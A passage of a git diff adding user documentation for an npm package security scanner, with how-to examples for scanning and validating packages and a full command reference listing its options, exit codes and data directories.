+``` + +## Save Reports to Custom Location + +```bash +./npm-scanner.sh scan --project ~/code -o ~/security-audits/$(date +%Y-%m) +``` + +## Skip Confirmation Prompt + +```bash +./npm-scanner.sh scan --project ~/code --yes +``` diff --git a/docs/users/how-to/validate-packages.md b/docs/users/how-to/validate-packages.md new file mode 100644 index 0000000..d887be2 --- /dev/null +++ b/docs/users/how-to/validate-packages.md @@ -0,0 +1,41 @@ +# How to Validate Packages Before Installing + +## Validate a Package + +```bash +./npm-scanner.sh validate package-name +``` + +## Validate a Scoped Package + +```bash +./npm-scanner.sh validate @types/node +``` + +## Validate Before Installing + +```bash +# Check first +./npm-scanner.sh validate new-package + +# If clean, install +npm install new-package +``` + +## Compare Alternative Packages + +```bash +./npm-scanner.sh validate option-a +./npm-scanner.sh validate option-b +``` + +Compare risk scores, maintainer counts, and download statistics to choose. + +## Validate New Dependencies in a PR + +Extract new packages from the diff and validate each: + +```bash +./npm-scanner.sh validate new-dep-1 +./npm-scanner.sh validate new-dep-2 +``` diff --git a/docs/users/reference/command-reference.md b/docs/users/reference/command-reference.md new file mode 100644 index 0000000..fecadb2 --- /dev/null +++ b/docs/users/reference/command-reference.md @@ -0,0 +1,172 @@ +# Command Reference + +## Synopsis + +``` +npm-scanner.sh [options] +``` + +## Commands + +| Command | Description | +|---------|-------------| +| `init` | Download required data files (run once after install) | +| `refresh` | Update data files to latest versions | +| `scan` | Scan installed packages or project dependencies | +| `validate` | Check a package before installation | +| `list-iocs` | Display all current indicators of compromise | +| `cache` | Manage the npm metadata cache | +| `help` | Show help message | +| `version` | Show version information | + +--- + +## init + +Download required data files for enhanced detection. + +```bash +npm-scanner.sh init +``` + +Downloads: +- Disposable email domain list (~3000 domains) +- Tranco top 100k domain rankings + +Data is stored in `~/.npm-scanner/data/`. + +--- + +## refresh + +Update data files to latest versions. + +```bash +npm-scanner.sh refresh +``` + +Run periodically (monthly recommended) to keep detection data current. + +--- + +## scan + +Scan installed packages or project dependencies for security issues. + +### Usage + +```bash +npm-scanner.sh scan [options] [path] +``` + +### Scan Modes + +| Option | Description | +|--------|-------------| +| `-g, --global` | Scan globally installed packages | +| `-l, --local` | Scan node_modules directories under path | +| `-p, --project` | Scan packages declared in package.json files | + +### Common Options + +| Option | Description | +|--------|-------------| +| `-o, --output DIR` | Output directory (default: `reports/packages-TIMESTAMP`) | +| `-n, --limit N` | Limit scan to first N items (0 = no limit) | +| `-r, --random` | Randomly sample instead of sequential order | +| `-v, --verbose` | Show detailed IOC checks during scan | +| `--yes` | Skip confirmation prompt | +| `-h, --help` | Show help | + +### Scan-Specific Options + +| Option | Applies To | Description | +|--------|------------|-------------| +| `-d, --depth N` | `--global`, `--local` | Maximum depth in node_modules (default: 10) | +| `-e, --exclude DIR` | `--project` | Exclude directories from scan (repeatable) | +| `--parallel` | `--project` | Run audits in parallel | +| `-s, --summary` | `--project` | One-line output per project | + +### Exit Codes + +| Code | Meaning | +|------|---------| +| 0 | No issues found | +| 1 | Issues found (check report) | +| 2 | Error during scan | + +--- + +## validate + +Check a package before installation. + +### Usage + +```bash +npm-scanner.sh validate +``` + +### Checks Performed + +- Package age and creation date +- Maintainer count and identity +- Download statistics +- Typosquatting potential (Levenshtein distance to popular packages) +- Known malicious indicators +- Disposable email detection +- Email domain reputation + +--- + +## list-iocs + +Display all current indicators of compromise (IOCs) being checked. + +```bash +npm-scanner.sh list-iocs +``` + +Shows: +- Malicious domains +- Malicious IP addresses +- Attacker username/email patterns +- Typosquatting target packages + +--- + +## cache + +Manage the npm metadata cache. + +### Usage + +```bash +npm-scanner.sh cache [options] +``` + +### Options + +| Option | Description | +|--------|-------------| +| `--status` | Show cache statistics (default) | +| `--clear` | Clear all cached data | +| `--clear-expired` | Clear only expired cache entries | + +### Environment Variables + +| Variable | Default | Description | +|----------|---------|-------------| +| `NPM_SCANNER_CACHE_MAX_SIZE_MB` | 200 | Maximum cache size in MB | +| `NPM_SCANNER_CACHE_MAX_AGE_DAYS` | 3 | Cache expiration in days | + +--- + +## Files and Directories + +| Path | Description | +|------|-------------| +| `~/.npm-scanner/` | Scanner data directory | +| `~/.npm-scanner/data/` | Downloaded data files | +| `~/.npm-scanner/cache/` | npm metadata cache | +| `reports/` | Default output directory for scan results |